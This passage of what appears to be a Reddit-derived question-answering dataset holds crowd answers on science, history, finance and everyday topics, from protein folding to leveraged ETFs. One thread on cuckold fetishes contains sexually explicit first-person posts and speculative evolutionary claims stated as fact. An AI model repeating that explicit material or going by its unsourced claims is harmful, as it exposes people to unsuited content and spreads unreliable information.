break it down, it could theoretically cause disease. There are lots of diseases caused by misfolding of proteins (Alzheimers, Parkinsons, Huntingtons), and some where misfolded proteins actually teach OTHER proteins to misfold. Those would be termed \"prion\" diseases and fall into the same realm as Mad Cow.  \n\nSo in summary, proteins can and do get tied in knots, and it's intentional as far as we can tell. If a protein that was supposed to knot  couldn't, or one that wasn't supposed to did, your body would try to refold it correctly or destroy it. If neither of those worked there's a chance that it could cause disease. ", "A few more things!\n\nProteins are generated by ribosomes as a long amino acid strings, and said strings are slowly ratcheted out of a particular region of the ribosome. The fact that the whole string is not released at once allows for a kind of sequential folding. One part of the nascent protein may be folded as the next part along the string is being built. [Here](_URL_0_) is a fun picture showing that a protein could be folded straight from the ribosome, or sometimes be misfolded or incompletely folded and require further manipulation. Here the (mentioned by others) chaperon proteins come in, either preventing the incompletely folded nascent protein from misfolding or actually correcting misfolded proteins. If the chaperon protein doesn't reach the misfolded protein in time or cannot properly refold the protein, it goes into the [proteosome](_URL_1_), which (as others have mentioned) degrades the protein. The proteasome is really cool, it's basically a bunch of protein-degrading enzymes facing inward to make a tube of protein destruction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0074755", "http://en.wikipedia.org/wiki/Unfolded_protein_response", "http://pubs.acs.org/doi/abs/10.1021/ja00103a057", "http://www.ploscompbiol.org/article/info%3Adoi%2F10.1371%2Fjournal.pcbi.0020122"], ["http://www.nature.com/nrm/journal/v5/n10/images/nrm1492-f1.jpg", "http://myelomacinderella.net/wp-content/uploads/2013/04/Proteasome.jpg"]]}
{"q_id": "1hz09m", "title": "What is the densest non-radioactive material at Standard temperature and pressure ?", "selftext": "I know osmium is probably the densest element, but is there any compound that weighs more? Like how Silicon carbide is denser than carbon or silicon alone.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hz09m/what_is_the_densest_nonradioactive_material_at/", "answers": {"a_id": ["cazelpd"], "score": [5], "text": ["I've done a bit of searching and Osmium seems to be it although there are some sources which claim Iridium to be denser but it looks as though they are a bit out of date.\n\nThe literature is quite clear that all known osmium compounds are less dense than osmium itself but is far less clear on osmium-iridium alloys (some of which form naturally in various percentages).  I can't find a good density table for those alloys so it's possible that they may be denser than pure Osmium itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "45ms9x", "title": "why dogs do not get boogers in their noses like humans do despite the fact that they're closer to the ground and inhale more dust/dirt.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45ms9x/eli5_why_dogs_do_not_get_boogers_in_their_noses/", "answers": {"a_id": ["czyzj3e", "czz0f87", "czz1it3", "czz209o", "czz7xak", "czzcrbm"], "score": [143, 465, 30, 9, 21, 4], "text": ["It's because humans have nose hair and dogs don't. \n\nBoth dogs and humans have mucus in their noses that collect dirt, dust and germs (and have other uses as well). In humans, this mix of dirt and mucus gets stuck on nose hair and builds up and dries into clumps we call boogers. Since dogs don't have this nose hair, the mix of dirt and mucus doesn't clump together and dry out; it instead runs out their nostrils or down their throats. ", "Dogs do get boogers. Our childhood dog sneezed on my sister once and left a booger behind. I'll always remember that day.", "As an owner of a bulldog / share pei, I can assure you there's plenty of boogers to go around.", "My aussie has sinus allergies that require benadryl or his nose will run and he will sneeze dog boogies all over the place or get a little post nasal drip gag. Mmmm", "On another note.  Why does my dog have a pool of mucusy shit in the corner of his eyes that needs to be cleaned out every goddamn day.  I tiny things that I can just pick off, but my dog gets elaborate concoctions of soupy mucus in his eyes.", "Not sure if you got this answer yet but I believe it has to do with sneezing. Most animals sneeze through their nose. It's generally a straight shot from the lungs through the nose so sneezing through the nose is easy and cleans it out. This is different in humans for three main reasons. First, we walk upright so our head is tilted 90\u00b0 forward compared to most animals. That's a 90\u00b0 turn that the air has to negotiate as it is violently expelled during a sneeze. In addition, our nostrils point down instead of straight out like a chimp or gorilla. That's another turn the air would have to make. And lastly, our nose and nostrils are relatively tiny compared to the noses and nostrils of many other animals. These three things combine to make a very constrictive passage for air to go through. If you tried to sneeze through your nose it might actually create enough sinus pressure to do some damage. And you'd get boogers on yourself. So we sneeze through the much larger and less curvy route which is through the mouth, which does not clean out the nose. It's basically a hold over of evolution that we don't need anymore but have no reason to get rid of (from a survival standpoint)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "ae5pbp", "title": "can we farm rare plants in large scale?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ae5pbp/eli5_can_we_farm_rare_plants_in_large_scale/", "answers": {"a_id": ["edmilfh", "edmju0n"], "score": [4, 4], "text": ["Which plants in particular do you mean? Because ginseng can be grown in plantations, and has been for hundreds of years.", "Yes, in theory, anything can be grown in a controlled environment location.\n\nAs to the actual practicality of it, that depends on what your trying to grow, but essentially, you would use a hydro setup or similar concept, with the nutrients being regulated through the liquid medium, controlled lighting cycles with a suitable light spectrum range for the plants in question and a ventilation/circulation system to prevent the air becoming humid and stagnant.\n\nHydro setups are generally a lot less forgiving than a 'natural' location, however can potentially produce much larger harvests, eg, instead of one growth cycle over a year, you could possibly fit in 3 or 4 cycles.\n\nOn a large scale though, it would probably end up being very very expensive, so you would want a good return on investment of your crop, or alternatively it would be for the purpose of air filtration, eg, a sealed living environment, mars habitat, space ship ect\n\nEdit, an example of a product that would be worth the large cost of setup and the large ongoing cost of production would be cannabis. Regular fruit and veg, even uncommon foods from around the world wouldnt really be worth it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9wg56t", "title": "what exactly is baby corn?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9wg56t/eli5_what_exactly_is_baby_corn/", "answers": {"a_id": ["e9kcdnv", "e9kcg1c", "e9kcgvk"], "score": [14, 8, 4], "text": ["It is a variety of ordinary sweetcorn that is harvested very very early while still immature.\n\nSo it is, quite literally, baby corn.", "It is literally just young corn plants, where the cob is still soft and edible.\n\nThis contrasts with \"baby carrots\" which are actually just some larger carrots that were deemed too unattractive to sell on their own and so were shaved down to baby carrot size to make them look nicer.", "\nBaby corn\u00a0(also known as\u00a0young corn,\u00a0cornlets\u00a0or\u00a0baby sweetcorn) is a\u00a0cereal graintaken from\u00a0corn (maize)\u00a0harvested early while the stalks are still small and immature. It typically is eaten whole \u2013 cob included \u2013 in contrast to mature corn, whose cob is too tough for human consumption. It is eaten both raw and cooked. Baby corn is common in\u00a0stir fry\u00a0dishes.\n\nStolen from wiki"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3n7zq6", "title": "What does the discovery of the Weyl fermion mean for quantum field theory?(in simple terms please, if you can)", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3n7zq6/what_does_the_discovery_of_the_weyl_fermion_mean/", "answers": {"a_id": ["cvlwl2c"], "score": [3], "text": ["I assume you are referring to _URL_0_.\n\nThis is not an actual particle. It is a behavior of a system that is analogous to a Weyl fermion.\n\nQuantum field theory is unaffected as a result."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://physicsworld.com/cws/article/news/2015/jul/23/weyl-fermions-are-spotted-at-long-last"]]}
{"q_id": "2jtm35", "title": "Out of all the money in the world, how much of it is a digital number on a computer system?", "selftext": "It's unlikely that a government is going to have trillions of dollars in a physical form, right?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2jtm35/out_of_all_the_money_in_the_world_how_much_of_it/", "answers": {"a_id": ["clfenib"], "score": [13], "text": ["IIRC physical currency accounts for about 2-10% of all money in the US and this pattern is seen across the world. I think the current global estimate is that only 8% of money is available as physical currency.\n\nSo somewhere upwards of 90% of the money in the world is digital\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Money_supply"]]}
{"q_id": "eoc6of", "title": "how does a storm sustain winds? where does the energy to sustain hours of wind come from?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eoc6of/eli5_how_does_a_storm_sustain_winds_where_does/", "answers": {"a_id": ["feblvuc"], "score": [2], "text": ["Sustained winds are caused by differences in the atmospheric pressure. When a difference in atmospheric pressure exists, air moves from the higher to the lower pressure area, resulting in winds of various speeds. On a rotating planet, such as Earth, the air will also be deflected by the Coriolis effect, except exactly on the equator.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://cimss.ssec.wisc.edu/satmet/modules/7_weather_forecast/images/pressurewind.gif"]]}
{"q_id": "516lag", "title": "Why did the U.S. South and North come to be seen as separate cultures?", "selftext": "Anyone who took a basic K-12 American history class or saw Ken Burns' *The Civil War* knows that the slave-owning classes utilized southern identity and pride to convince the lower classes of the secession and civil war causes; they painted the northern policies and actions as being about attacking the southern way of life, not slavery. Question is though, why and how did the southern identity come to be? Why was it seen as so thoroughly different from the North? And why weren't there any further geographical/cultural subdivisions of such importance in pre-civil war U.S.?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/516lag/why_did_the_us_south_and_north_come_to_be_seen_as/", "answers": {"a_id": ["d79trzs", "d7bcm5m"], "score": [2, 2], "text": ["More of a follow-up question. I was taught that a portion of the difference in culture between the North and South originated from the Northern states becoming somewhat more of an industrial society where the South remained agricultural. If this is indeed the case what were the factors leading up to this shift? I know that climate would be partially responsible but I am wondering if there was more to it.", "I'm only an armchair historian and waited a day for a real historian to help you.  Given that isn\u2019t the case, I\u2019ll try to help.  \n\n >  they [the slave-owning clases] painted the northern policies and actions as being about attacking the southern way of life, not slavery.\n\nThat isn\u2019t really the heart of what happened.  There has been historical \"Lost Cause\" revisionism where the cause was painted in the light of preserving Southern Culture.  If you look at the words of the Fire-Eaters and the speeches of famous Confederate politicians, they were utterly focused on the topic of the need to preserve and expand slavery.   Just read any of their speeches and newspaper articles.   There was no subtlety to it.  You absolutely will find calls for a war to preserve slavery.  You really won\u2019t find much in the way of cultural arguments (e.g. Southern people are more hospitable and that will be wiped out by Northerners.)  \n\n >  why and how did the southern identity come to be? Why was it seen as so thoroughly different from the North?\n\nThis is a big and complex question with many possible answers.  The simplest and answer is \u201cslavery.\u201d  \u201cThe southern way of life\u201d and what made it different from the Northern way of life was all about Slavery.    In the North, the vast majority of families lived in working class conditions but lived in an upper middle class sort of lifestyle.  They worked to put food on their table.  People could afford to buy things.  So, they could furnish their houses and buy items to increase their material quality of life.  It was a land of opportunity attracting a lot of immigration into new territories and thus wealth was fairly evenly distributed.  \n\nIn the South, slavery disrupted the whole economic system and it has a massive impact on the entire society.  The book \u201cCotton Kingdom\u201d by Fredrick Olmstead was a record of what day to day Southern Culture was, how deeply engrained slavery was in that culture, and how slavery affected everything.   In summary, there was a very wealthy class of plantation slave owners (about 5% to 10%) who owned most of the slaves, held almost all the wealth, and basically ran the whole show in the South.  The second group was the slaves.   The last group was poor whites who struggled to get ahead against a system stacked against them.  As the plantation owners did not pay for public schooling, this class of individuals often went without much of an education and were often illiterate.  They were squeezed by both sides and basically just worked enough to put food on their tables.  The way these three classes lived their lives and interacted for almost 200 years was core to the Southern Culture.  The Fire Eaters mainly cared about the impact of slavery on the rich plantation owners and the war was justified on that.  I think some people like to reminisce of the lifestyle and culture of the rich and famous plantation owners and imagine that was the culture of the entire South but that is forgetting the other 90 to 95%.   \n\n >  And why weren't there any further geographical/cultural subdivisions of such importance in pre-civil war U.S.?\n.\n\nI\u2019d say there was.  There were old Southern States like Virginia and Maryland where the land was used up and people were moving onto other activities than slave based agriculture.  There were new states in the West (e.g. Kansas and Missouri) where farming was difficult and slavery was a huge bloody question.  There were very slave intensive states like South Carolina, Mississippi, and Alabama which were passionately in favour of slavery and war if required.  Other slave states (i.e. the border states) eventually sided with the Union and ultimately remained neutral when war came.  \n\nBut in a way, there wasn\u2019t a North and South.  Many people moved between states.  Beyond regions, people varied by religion, ethnic background, wealth, education, and their moral concept of what was good and bad.  As a result, there were individuals who lived in the North and supported the South and the institution of slavery and there were men in the South who were so passionately against it that they eventually joined the Union army.  Even families were divided.  Lincoln\u2019s own brother in law fought for the Confederacy.  I know you asked about culture rather than War but I do find it insightful that when it came times to choose sides, things were not so clear.    \n\nBut to ultimately answer your main question of why did poor Southerners picked up arms and fought for the slave owning rich plantation owners, I\u2019d say the answer is that they were lied to and brainwashed.  The newspapers in the South told ridiculous lies.  They lied about the intentions of Lincoln to eliminate slavery.  The lied about the benefits of slavery.  They lied about how easy a war would be.  They lied that God wants slavery to exist on this earth.  Simply, the answer to your main question is the word propaganda rather than an explanation of cultural differences.  Men can easily be stirred up to fight wars.  \n\nIn terms of references, I\u2019ve read dozens of articles written by Fire Eaters and don\u2019t see the point in referencing one of them.  They are all kind of the same thing.  They can be easily found via a quick google search.  I do recommend the book mentioned above by Olmstead.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2hb3b9", "title": "men who enjoy watching their wives have sex with other men.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hb3b9/eli5_men_who_enjoy_watching_their_wives_have_sex/", "answers": {"a_id": ["ckr1am4", "ckr1kiz", "ckr25xo", "ckr2qa0", "ckr2rs5", "ckr3vi0", "ckr59c5", "ckr59hv", "ckr5x7x", "ckr68ok", "ckr6yj5", "ckr8nj4", "ckrco7f"], "score": [19, 11, 30, 114, 2, 40, 2, 109, 11, 9, 43, 7, 2], "text": ["It is a fetish. After reading various posts regarding fetishes, and being a man with a few of my own, I can tell you this: There doesn't have to be a reason. Some times, there is. Just like why I like the color red and hate a certain shade of green. I have no valid reason. \n\nIt is a personality trait. It is an experience. You can't expect everyone to have the same reaction. ", "A few theories are out there right now. One being that humiliation is the \"nuclear bomb\" of emotions and in psychoanalysis they believe any emotion can become sexualized. Another is that an evolutionary advantage could result from these feelings, seeing a woman having sex and then become aroused and possibly get her pregnant instead of the other male.\n\nAnother one is that if somebody is infatuated with an individual they become an extension of themselves and as a result fully identifying themselves with that individual. Therefore it's really themselves attracting sexual attention. \n\n[Source](_URL_0_)\n\nEdit: Ha, Just read your whole comment. No. I do not have this fetish myself. Just for the record, not that there's anything wrong with that.", "I'm currently in a Poly closed V with a married couple. For him it started with a hotwife fetish. He liked having her come home with details of her sexual encounters and pictures. They'd had a couple of MFM 3 somes in the past and this became the norm when I came into the picture. I'm very Dominant, she's my submissive, and I quickly took to direct everything in the bedroom. He enjoys watching her and I together then has sex with her after I have. In some ways I see a bit of a cuckold tinge to his fetish. We haven't gone there and I have no desire to. Should they go that direction I won't interfere or participate beyond letting him watch me have sex with his wife.", "I always thought it seemed validating in a way. \"This woman is desirable, and she is mine.\"\n\nEdit: My first gold! Thanks!", "Oh man, now reading some of your guys' responses I remember reading somewhere that one theory/method is the guy will have the other male have sex with his wife.  Then he will step in and have sex with his wife and finish her off basically making himself prideful that he was able to please his wife more than the other guy.  I know this is just one theory,  but it just popped in my mind.", "My boyfriend LOVES to watch me with other guys.  He says that he loves the thought of me turning on another guy.\n\nFor me, watching my guy with another girl is different.  I enjoy seeing the pleasure he gives someone else and when watching from a different angle it is so different.  Whilst they can fuck and she can blow him, I don't like her to do the 'romantic' things with him such as kissing.\n\nMy guy finds it a turn on if he comes home from bed and he 'accidentally' catches me with another girl in our bed or blowing a guy on our lounge.  Of course the idea is for him to walk in on us.. it's part of the game!\n\n\nFor us, it is not cheating if we are both aware of it and are both involved.", "Some men get off being cuckolded and like watching their woman \"pleasured right\" or they just like Hot Wife-ing and just really enjoy watching their wife cum regardless who it is with.  ", "Well, it's my time to shine cuz I have this fetish, no in-depth analysis or breaking down here, just gonna talk about how I feel, all personal opinion here.\n\nCuckold fetish, to me, is a form of masochism, except instead of enjoying physical pain, it's a mental pain, mental masochism. The explanation for the turn-on is simple, it's like a taboo, it's something that's not supposed to be, something like incest fetish. In addition to that, it's crushing and degrading and puts you in a spot of powerlessness, with the sanctity of love and trust getting completely broken. It really is hot how some fucker rob me of dignity and pride and takes the one thing I cherish most, and fucks her until she begs for it, makes her completely forget about me with the incredible orgasms she receives, hurts so good. That's the whole idea, it 'hurts so good'.\n\nOf course, others can never even begin to see things from my perspective, but hopefully this give soooome sort of idea. Cheers.", "I once came across graphic evidence of being cheated on once.\n\nIt made me sad, angry, and jealous (of course)\n\nbut also insanely horny. Strange, but I can sort of understand the appeal of this kink.", "Its like you own a Ferrari, and you know its a gorgeous car that handles amazingly. Well, it would be selfish to just use it alone, so occasionally, when you meet the right person, you let them take it out for a spin. You both can take her for a spin, or she can just be used to entertain your friend.\n\nThe car is yours, it is coming back to your home, and you might get a great story about how well she handles.", "Bear in mind that head of the penis is shaped so that it removes semen from the vagina. - it's plausible that a decent amount of prehistoric sex was group sex.\n\nSo think of it like this - you're wandering through a clearing picking berries, and suddenly there's Ogg and Gromla right there in the ferns making the cave-beast with two backs. You take a step closer to get a better look, just as Ogg shoots his load (that guy always was a one-pump chump) and rolls off.\n\nGromla sits up on her elbows; she's all red and sweaty, looking both disappointed and horny. She'd been daydreaming about this encounter all morning, and now it's done, and Ogg and his descendants won't figure out the clitoris for another 22,000 years.\n\nWhat's a cave-guy to do?\n\nFrom the perspective of passing on your genes, it's a pretty good idea to find this scene pretty hot and to make your move. If she's into you (or she's not feeling picky), your descendants might be the ones writing the history books. So in fact, not just ordinary hot, but hot enough to overcome all of your fears and inhibitions in the three minutes you've got before Gromla decides that men aren't worth it and that ferns are itchy.\n\nIn modern times, now that we're a little better at communicating, a loving partner can help bring on these feelings by recreating it, with the deliberate intention of getting you as riled up as possible.\n\nSo bring it on - the wetter she is, the more overcome she is by great-son-of-Ogg's attentions, the more likely you'll get your chance in a few minutes.", "I just enjoy seeing my girlfriend having a good time...", "I'm going to take the Ferrari analogy a bit further.\nYou own a beautiful Ferrari. You take it to the track and open it up. It's a great machine.\nHowever, you can only experience your Ferrari from the driver's seat. You never get to experience the beauty of it from an outsider's perspective. You also can't appreciate what the car can do and how it can perform with another skilled driver behind the wheel.\nSo if another driver DOES take your car out for a spin, you can appreciate your ride from a different angle. And when done, the Ferrari is still YOURS.\n\nThe other attraction is that it is the ULTIMATE form of cheating. It's unforgivable. Except in this scenario, it's the ULTIMATE form of BONDING.\nThe wife is having SEX with someone else, with the husband's blessing, and they become closer because of it.\n\n*'I can do this and you still want me.'\n'You can do that and I still want you.'*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.m.wikipedia.org/wiki/Cuckolding#Theories_in_psychology"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "724w0o", "title": "Why did Revolutionary France invade the Dutch Republic considering they were a self-serving republic for more than a hundred years in contrast to their regular monarchic foes?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/724w0o/why_did_revolutionary_france_invade_the_dutch/", "answers": {"a_id": ["dng3be4"], "score": [18], "text": ["The short answer is that the Dutch Republic joined the First Coalition of Austria, Prussia, Great Britain and Spain in their war against Revolutionary France. The long answer is hopefully a little more interesting. \n\nThe first thing to realize is that the Dutch Republic in its political institutions was nothing like a modern Republic. Throughout the history of the Republic there had been a conflict between supporters of the 'regent' class of public officials and rich merchants on the one side, and supporters of the House of Orange on the other (generally lower middle-class and more religious people). The House of Orange always occupied the position of 'stadhouder', the highest office in the land which most importantly  came with command of the armies and the navy.  There was always a struggle between the Stadhouder and the provinces, particularly the province of Holland, making up the Dutch Republic about how much power the stadhouder should have exactly and how much money, but also between the provinces about whether the navy or the army was more important, and so on. \n\nIn the 18th century though, the battle lines had shifted. While previously the Stadhoudership had been an appointed position that only in fact was always awarded to the Oranges (leading on two occasions to no stadhouder being appointed at all when no suitable Orange candidate was available and when the previous one had misbehaved too much), in the 18th century the Stadhoudership formally became hereditary for the Orange family. The stadhoudership also accumulated rights to appoint representatives in the many, many councils through which the states and cities of the Dutch republic were ruled. Members in these councils, for cities, guilds, regions, water boards etc. were usually not elected either, but coopted new members, which is to say that members of the ruling class selected their own relatives and friends to help perpetuate their own hold of power . \n\nSo the Dutch Republic was not very democratic, but perhaps more importantly, its rulers were also not very competent. The army and navy were neglected, the last Stadhouder, the prince of Orange William V, was corrupt and incapable, and influenced far too much by the German duke of Brunswick who commanded the armies for him. The economy had stagnated and industry was in decline, though the Republic was still an important financial center. So, because of this and as a result of Enlightenment thinking, and also inspired by the American Revolution, a group of people started to protest the corrupt and oligarchic elites. These people, were known as the \"patriots\" as opposed to the \"prinsgezinden\", the supporters of the Prince of Orange. \n\nThe patriots eventually revolted and chased the stadhouder out of Holland in 1787. The stadhouder however was marrried to the daughter of the king of Prussia, and when she was detained trying to reenter Holland to negotiate with the Estates General there, he sent in his army and chased out the patriots. Many of the patriots fled to Paris, where many of them enthusiastically supported  the French revolution and the idea that the revolutionary French could liberate the Dutch Republic from the clutches of the Orange family.\n\nSo when the French revolutionary army under general Pichegru defeated the small and scattered Dutch armies and crossed the frozen rivers to conquer all of the Republic in 1795, they could claim with some justification that they were 'liberating' the people of the Netherlands. The French army was \naccompanied by armed brigades of \"patriots\" and may have had help in overcoming the defenses from patriots who remained in the Republic and escaped the Orangist repression. After the surrender of the Dutch Republic, these patriots set up the \"Batavian Republic\", with the purpose of setting up a far more democratic system. However, for the French this Batavian Republic mostly had to serve as a client state to provide money and troops for their further wars. Eventually it was abolished by Napoleon in 1806.\n\nPrimary source for this comment is Simon Schama's *Patriots and Liberators: Revolution in the Netherlands 1780\u20131813* (1977).\n\nFurther source is [this 1893 review in *De Gids*](_URL_0_) of a dissertation on the 1794-5 war between the Republic and France.\n\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dbnl.org/tekst/_gid001189301_01/_gid001189301_01_0048.php"]]}
{"q_id": "6i3xwh", "title": "Did WWII pilots really fly with the canopy open?", "selftext": "If so, why did they do so? wouldn't opening the canopy be suicide? wouldn't it affect aerodynamics? wouldn't they not be able to talk in the radio over the wind and turbulence? examples are [here](_URL_1_), and [here](_URL_0_).", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6i3xwh/did_wwii_pilots_really_fly_with_the_canopy_open/", "answers": {"a_id": ["dj3m3zy"], "score": [15], "text": ["Pilots generally flew with canopies closed, but there's no major issue with flying with an open canopy unless at high speed/altitude; some aircraft flew throughout World War II with completely or semi-open canopies (the venerable [Swordfish] (_URL_2_) being the main example; the Italian G.50 and C.200 fighters were originally designed with enclosed canopies but pilots preferred semi-open cockpits). The hood of the Spitfire and Corsair in your examples slide back, but e.g. the hinged canopy of the Bf 109 could be removed quite safely as in [this captured example] (_URL_0_) to allow a tall pilot to fit into its snug cockpit. There's a case in Will Iredale's *The Kamikaze Hunters* of a Fairey Firefly losing its canopy mid-mission due to a design defect, related by the Observer: \"... there was a hell of a bang, and Pete [the pilot's] windscreen had blown off - jettisoned itself. It made a hell of a roar and Pete and I could hardly hear each other. We pulled out of the dive and headed home. Not a very brilliant operation.\"\n\n[An article from *Pilot* magazine] (_URL_1_) discusses the pros and cons of open cockpit flying, many also applicable to fighting in World War II. On hot days, particularly in the Pacific theatre, it could be uncomfortably hot under perspex, opening the cockpit allowed a cooling breeze. An open canopy could also offer a better view for spotting enemy aircraft. Probably the main reason, though, was carrier aircraft taking off and landing, when there was most risk of crashing or ditching and rapid escape may have been required. Some carrier aircraft like the Seafire also had very poor visibility over the engine, necessitating a rather convoluted approach as detailed by Mike Croseley in *They Gave Me A Seafire*: \"With hood open, locked in position by half unlatching the small side door, with goggles on, with the head to one side and the seat raised, it was then possible to see part of the flight deck and the batsman through the haze of the port engine exhaust.\" It remained a standard practise into the early jet age, the pilot's notes for the F7U Cutlass specifies, as part of prelanding checks while in the traffic pattern: \"Canopy: 'OPEN' at less than 215 knots\""]}, "title_urls": [], "selftext_urls": ["https://s-media-cache-ak0.pinimg.com/originals/22/be/4d/22be4d7d0601f36452818e679834ffe8.jpg", "https://library.creativecow.net/articles/hurwicz_michael/monster_pak/19sqnspit640.jpg"], "answers_urls": [["http://www.iwm.org.uk/collections/item/object/205212811", "http://www.pilotweb.aero/features/open-cockpit-flying-1-1690514", "http://www.iwm.org.uk/collections/item/object/205153897"]]}
{"q_id": "673fzw", "title": "how does percentage grade work in regards to terrain?", "selftext": "I am looking at a trail map that says a specific portion has up to 20% grade. I know that this means it is sloped but how much? How is percentage grade calculated?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/673fzw/eli5_how_does_percentage_grade_work_in_regards_to/", "answers": {"a_id": ["dgnc37u", "dgndgzn"], "score": [20, 6], "text": ["It means that for every 100 feet you travel horizontally, you move up 20 feet vertically. The percentage change is the percent increase in elevation as you move horizontally", "Percent means \"per hundred\". So a slope of 20% will rise 20 metres *per hundred metres*.    That's very steep, by the way. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1p1ytl", "title": "what is amd's mantle? what are the pros and cons for developers? will nvidia have any sort of response to this, and finally, how will it affect gamers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p1ytl/eli5_what_is_amds_mantle_what_are_the_pros_and/", "answers": {"a_id": ["ccxyau9"], "score": [4], "text": ["* A low level api that allows more direct access to the hardware of AMD's GPUs using their GCN architecture. Giving better performance over DirectX which has perf issues.\n\n* Pros: Some of their userbase will get better performance, Easy to port between the new consoles.\n* Cons: More effort, Devs have to program for a different api in addition to the one they are using. \n\n* Don't think so. John Carmack firmly told them that would be a bad idea. He also says that Nvidia's OpenGL extensions give similar performance benefits over DirectX.\n\n* Gamers with AMD gpu's should get better performance over DirectX in games that support mantle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fm03ik", "title": "what is a leveraged etf?", "selftext": "I'm already subbed to all the stock subs, but I don't understand what levereaged ETF is? Can someone explain it like i'm a toddler? Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fm03ik/eli5_what_is_a_leveraged_etf/", "answers": {"a_id": ["fl1jtry"], "score": [2], "text": ["So an ETF is a bucket of stocks that you can buy and sell like an individual stock during the day, unlike mutual funds which are buckets of stock that only trade at the closing bell\n\nMost ETFs aim to track some aspect of the market.  Maybe they're tied to an Index like the S & P 500 or Russell's Small Cap Growth, but they're owning portions of those indexes so they can accurately track them\n\nA leveraged ETF is going to use derivatives like options and futures to also track the chosen index or grouping, but at some higher ratio.  You can get a 2x leveraged S & P 500 ETF which means that if the S & P 500 goes up by 10% this ETF will go up by 20%, and if the S & P falls to 90% of its value this ETF will fall to 80%.  You can also get *inverse* leveraged ETFs, like a 3x inverse S & P 500 ETF which will go up 30% if the S & P 500 *falls* 10% and will *fall* by 30% if the S & P 500 rises 10%.\n\nLeveraged ETFs seem real good at first sight but high leverage also exposes you to high risks.  If you have a triple leveraged S & P 500 ETF and the S & P falls by 34% in one day then your ETF is worth $0 and you've lost all of it.  If you had a standard ETF then you'd still have 66% of your money which would grow as the S & P 500 recovered."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5v2hkv", "title": "why do humans have anxiety/low self worth?", "selftext": "[Comic made me think of it](_URL_0_)\n\nWhat's the use for it, and why do our brains feel the need to compare to others and feel inadequate?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5v2hkv/eli5_why_do_humans_have_anxietylow_self_worth/", "answers": {"a_id": ["ddytd02", "ddytehm", "ddyv21s", "ddzk0h7"], "score": [3, 2, 9, 3], "text": ["We're social animals-- a lot of our survival and functioning depends on our ability to fit into our social world. So it makes sense that thinking about how well we fit in would be stressful! ", "It makes sense that a predisposition to some level of anxiety increases the chance that an animal will survive long enough to reproduce. An individual that does not worry or consider things that can go wrong is probably less likely to survive. ", "Evolutionary psychology perspective: social comparison helps us keep track of vital social information related to our own fitness, indirectly. \n\n1) It helps us navigate our social world by paying attention to status hierarchies. Don't mess with high status people because that can get you ostracized in the group. Befriend them because you can gain skills or share in their status or access to resources. \n\n2) It motivates us to pursue more resources and signal more of our own status\n\nStatus signals to others that we're potentially a good partner. Status is related to perceptions of skill/ability and possessing resources. \n\nYou can imagine some level of low self-esteem/anxiety can motivate people to be high-achieving. However, this can go \"wrong\" when the feelings themselves become debilitating. Why would this happen? Most likely environmental causes and genetic predispositions. Maybe the environment isn't suited to allowing you to self-improve. So you feel all the bad stuff from social comparison but feel helpless to do anything about it. And perhaps this perception has a genetic component where you're more susceptible to defeatist thinking? \n\nNeurologically, maybe the neural pathways responsible for these feelings are just too active. So they are actually giving you incorrect information about your own status (you actually ARE just as good as everyone else, but you don't feel that way).\n\nLots of potential stuff to consider.", "One of the recipes  for healthy self esteem is a set of parents (blood or otherwise) that raise a child with lots of love and attention that set appropriate boundaries that are firmly enforced and are allowed to change as the child grows and matures.  Also the parents who demonstrate healthy emotions and can teach the child that it's okay to feel bad, and to say when you feel bad instead of hitting or screaming  when you feel bad.  When a person was raised by or around people who belittled them, or dominated them, or were emotionally neglected, that person never got the chance to build their esteem because they were never given a space that was safe.  "]}, "title_urls": [], "selftext_urls": ["http://www.lunarbaboon.com/storage/comiceveryday.png?__SQUARESPACE_CACHEVERSION=1485487407298"], "answers_urls": [[], [], [], []]}
